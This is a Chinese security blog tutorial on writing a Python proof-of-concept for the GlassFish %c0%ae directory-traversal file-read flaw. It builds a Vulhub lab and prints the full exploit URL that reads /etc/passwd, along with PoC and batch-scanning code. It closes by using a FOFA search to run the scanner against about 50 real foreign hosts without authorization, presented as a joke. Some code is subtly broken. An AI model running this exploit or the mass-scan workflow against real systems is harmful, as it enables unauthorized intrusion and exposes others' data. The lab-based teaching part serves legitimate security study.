01
POC的概念
在网络安全领域中,POC的概念是指"Proof of Concept",也被称为"攻击验证"。它是指安全研究人员或黑客用来证明某个漏洞、弱点或安全问题存在的实证或演示。
网络安全研究人员经常通过开发POC来展示一个漏洞的存在和影响,从而向厂商或用户提供证据,并促使其采取必要的措施来修复或解决该问题。通过POC,研究人员可以演示如何利用漏洞来进行攻击、获取敏感信息或者破坏系统。
POC通常包括漏洞的利用代码、相关的技术细节以及攻击成功的证据。通过POC,安全研究人员可以向厂商或组织提供一个具体的案例,以加强对漏洞的重要性和紧迫性的认识,并促使其采取适当的补救措施。
简单理解就是:POC就是用来验证某个漏洞是否存在的一段代码。
02
1、Python-requests 模块
requests模块是一个功能强大且易于使用的HTTP库,用于发送HTTP请求和处理响应。它提供了简洁而直观的API,使得在Python中进行HTTP通信变得更加方便。以下是一些requests模块的常见用法和示例:
1、、发送GET请求:
import requests
response = requests.get('http://www.nanhack.com')
print(response.text) # 打印响应内容
2、发送POST 请求
import requests
data = {'username': 'admin', 'password': 'pass'}
response = requests.post('http://www.nanhack.com/login.php', data=data)
print(response.status_code) # 打印响应状态码
//get URL 参数
import requests
params = {'key': 'value'}
response = requests.get('https://example.com', params=params)
3、添加请求头
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
response = requests.get('http://www.nanhack.com', headers=headers)
4、处理响应
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
response = requests.get('http://www.nanhack.com', headers=headers)
print(response.status_code) # 打印响应状态码
print(response.headers) # 打印响应头部信息
print(response.json()) # 解析JSON响应
5、会话管理
import requests
session = requests.Session()
session.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'})
response1 = session.get('https://api.example.com')
response2 = session.post('https://api.example.com/login', data={'username': 'user', 'password': 'pass'})
6、异常处理
在异常处理中,使用except requests.exceptions.RequestException as e语句可以捕获和处理requests库中的RequestException异常。as e部分是可选的,它允许将异常实例赋给一个变量(例如e),以便在except块中访问异常的详细信息。
以下是一个使用except requests.exceptions.RequestException捕获和处理RequestException异常的示例:
import requests
from requests.exceptions import RequestException
try:
response = requests.get('https://api.example.com')
response.raise_for_status()
except RequestException as e:
print("An error occurred:", e)
2、Python-urllib3 模块
urllib3.disable_warnings()是Python中urllib3库的函数调用,用于禁用对SSL证书的验证警告。
在使用urllib3发送HTTPS请求时,它会默认验证SSL证书的有效性,并在遇到自签名证书或无效证书时发出警告。然而,有时在测试或开发环境中,我们可能希望忽略这些警告,方便能够继续进行测试。
通过调用urllib3.disable_warnings()函数,可以禁用这些SSL证书验证的警告。以下是一个简单的示例:
import urllib3
# 禁用SSL证书验证警告
urllib3.disable_warnings()
# 创建一个urllib3.PoolManager实例
http = urllib3.PoolManager()
# 发送HTTPS请求
response = http.request('GET', 'https://www.baidu.com')
# 打印响应信息
print(response.status) # 响应状态码
print(response.data) # 响应数据
示例中,我们调用urllib3.disable_warnings()函数来禁用SSL证书验证警告。然后,创建了一个urllib3.PoolManager()实例来发送HTTP请求。由于禁用了警告,即使遇到无效证书,也不会发出警告信息。
也可以直接使用urllib3.disable_warnings()
函数来禁用警告。
import requests
import urllib3
# 禁用SSL证书验证警告
urllib3.disable_warnings()
# 发送HTTPS请求
response = requests.get('GET', 'https://www.baidu.com')
# 打印响应信息
print(response.status) # 响应状态码
print(response.data) # 响应数据
示例中,我们只调用了urllib3.disable_warnings()函数,它会禁用urllib3库的SSL证书验证警告。在此之后,当使用urllib3发送HTTPS请求时,就不会收到与SSL证书验证相关的警告。
4、Python-sys 模块
sys 是 Python 标准库中的一个模块,提供了与 Python 解释器和运行时环境交互的功能。通过导入 sys 模块,你可以访问一些与系统相关的变量和函数。下面是 sys 模块中是写POC常用的功能:
1、sys.argv:这是一个包含命令行参数的列表。当你在命令行中执行一个 Python 脚本时,sys.argv 可以让你获取传递给脚本的参数。
import sys
print (sys.argv[0]) #当前程序名
print (sys.argv[1]) #第一个参数
print (sys.argv[2]) #第二个参数
print (sys.argv[3]) #第三个参数
a = len(sys.argv)-1 #参数个数
print (f'参数个数:{a}')
import sys
if len(sys.argv) > 1:
# 第一个参数是脚本本身的文件名
# 之后的参数是传递给脚本的参数
for arg in sys.argv[1:]:
print(arg)
2、sys.exit([arg]):用于退出 Python 解释器。可选的参数 arg 用于指定退出状态码,默认为 0(表示成功)。
import sys
sys.exit(1) # 以状态码 1 退出
5、Python-os 模块
Python 的 os 模块提供了一些函数,用于与操作系统进行交互。这个模块包含了很多实用的函数,用于管理文件和目录、获取系统信息、运行命令等。下面是 os 模块中一些常用的函数:
os.getcwd():获取当前工作目录。
os.chdir(path):改变当前工作目录。
os.listdir(path):列出指定目录中的文件和子目录。
os.mkdir(path):创建一个目录。
os.makedirs(path):递归地创建目录。
os.rmdir(path):删除一个目录。
os.removedirs(path):递归地删除目录。
os.rename(src, dst):将文件或目录从 src 改名为 dst。
os.remove(path):删除一个文件。
os.path.exists(path):判断路径是否存在。
os.path.abspath(path):获取绝对路径。
os.path.basename(path):获取路径的最后一部分(文件名或目录名)。
os.path.dirname(path):获取路径的目录部分。
os.path.join(path1, path2, ...):将多个路径组合成一个路径。
这些函数可以让我们在 Python 中方便地进行文件和目录的操作,同时也能够获取系统信息,运行命令等
03
测试环境搭建
这里我们使用Vulhub 环境GlassFish任意文件读取漏洞进行快速搭建测试环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/glassfishdocker-compose build
docker-compose up -d
环境运行后,访问http://your-ip:8080和http://your-ip:4848即可查看web页面。其中,8080端口是网站内容,4848端口是GlassFish管理中心。
04
漏洞复现分析
漏洞原理:
java语言中会把%c0%ae解析为uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。
用POC 访问,成功获取读取的内容。
访问https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
现在优化一下请求包,把不需要的字段去除掉,最后只保留host和user-agent、POC。没问题的话接下来就可以进行写POC了。
05
单个验证POC
写一个基本框架
import requests
def poc():
url = "https://192.168.59.128:4848/"
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
response = requests.get(url=url, headers=headers)
print(response.status_code)
print(response.content)
if __name__ == '__main__':
poc()
发送,存在报错
添加异常处理,再次发送可以看到提示安全证书检验失败
import requests
from requests.exceptions import RequestException
import urllib3
def poc():
try:
url = "https://192.168.59.128:4848/"
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
response = requests.get(url=url, headers=headers)
print(response.status_code)
print(response.content)
except RequestException as e:
print("An error occurred:", e)
if __name__ == '__main__':
poc()
解决方法:
加urllib3.disable_warnings(),然后
加参数:verify=证书路径,或verify=False 不验证ssl 默认为True
添加POC 以及返回请求结果
对结果进行判断处理:x表示密码,但是这里不显示。一般正常情况是显示x 把密码放在shadow文件里面的所以使用root:x 去匹配,也有其他情况可能把密码放到x的位置,所以再加上root: 去匹配。
现在基本就可以了,接下来添加url传参、sys.argv命令行,然后使用命令行进行运行。
当然加上颜色区别一下各种情况就更加奈斯一点了。
06
批量验证POC
上面是单个测试的,显然不够完美,接下来再此基础上添加批量测试。
if __name__ == '__main__':
argv = sys.argv[1]
urls = sys.argv[2]
if len(sys.argv) != 3:
print('Usage: python3 poc.py -file filename.txt ')
sys.exit()
else:
with open(urls, "r") as file:
for line in file:
url = line.strip()
poc(url)
07
整合POC 脚本
把上面的两个脚本整和成一个
测试结果如下:
增加一个写入保存函数,用来批量测试的时候存储漏洞存在的目标
OK,到这里整个POC就写好了。接下来拿去实战验证一下。看看可不可(刑)!
08
POC实战验证
首先打开我的特殊会员,啊哈哈哈哈哈。。。。。。。。。。。。。。。
FOFA 语法:app="GlassFish" && port="4848"
这里随便找50个国外IP试试,结果如下:
扫码加交流群
End
原文始发于微信公众号(贝雷帽SEC):WEB 安全—深入学习文件读取漏洞 (四)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论